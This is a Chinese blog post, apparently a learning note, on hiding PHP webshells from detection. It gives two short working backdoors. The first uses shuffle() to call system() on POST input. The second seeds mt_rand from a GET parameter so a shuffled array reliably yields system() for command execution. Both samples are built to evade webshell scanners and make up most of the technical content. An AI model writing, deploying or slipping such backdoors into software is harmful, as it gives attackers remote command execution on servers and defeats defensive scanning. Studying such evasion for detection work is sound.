记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
网安加社区8 分钟前
国家网络安全宣传周 | 2024年网络安全领域重大政策法规一览
安全·网络安全·政策法规
Wrop9 分钟前
网络安全实训八(y0usef靶机渗透实例)
安全·web安全
大母猴啃编程20 分钟前
数据结构---非线性--树
c语言·数据结构·学习·算法·青少年编程
Magnetic_h2 小时前
【iOS】单例模式
笔记·学习·ui·ios·单例模式·objective-c
华清远见成都中心2 小时前
哪些人适合学习人工智能?
人工智能·学习
天下无贼!2 小时前
2024年最新版TypeScript学习笔记——泛型、接口、枚举、自定义类型等知识点
前端·javascript·vue.js·笔记·学习·typescript·html
Coremail邮件安全2 小时前
武汉大学:如何做好高校电子邮件账号安全防护
网络·安全·邮件安全·双因素认证·敏感信息
秋秋秋叶2 小时前
Python学习——【2.3】for循环
python·学习
h177113472053 小时前
基于区块链的相亲交易系统源码解析
大数据·人工智能·安全·系统架构·交友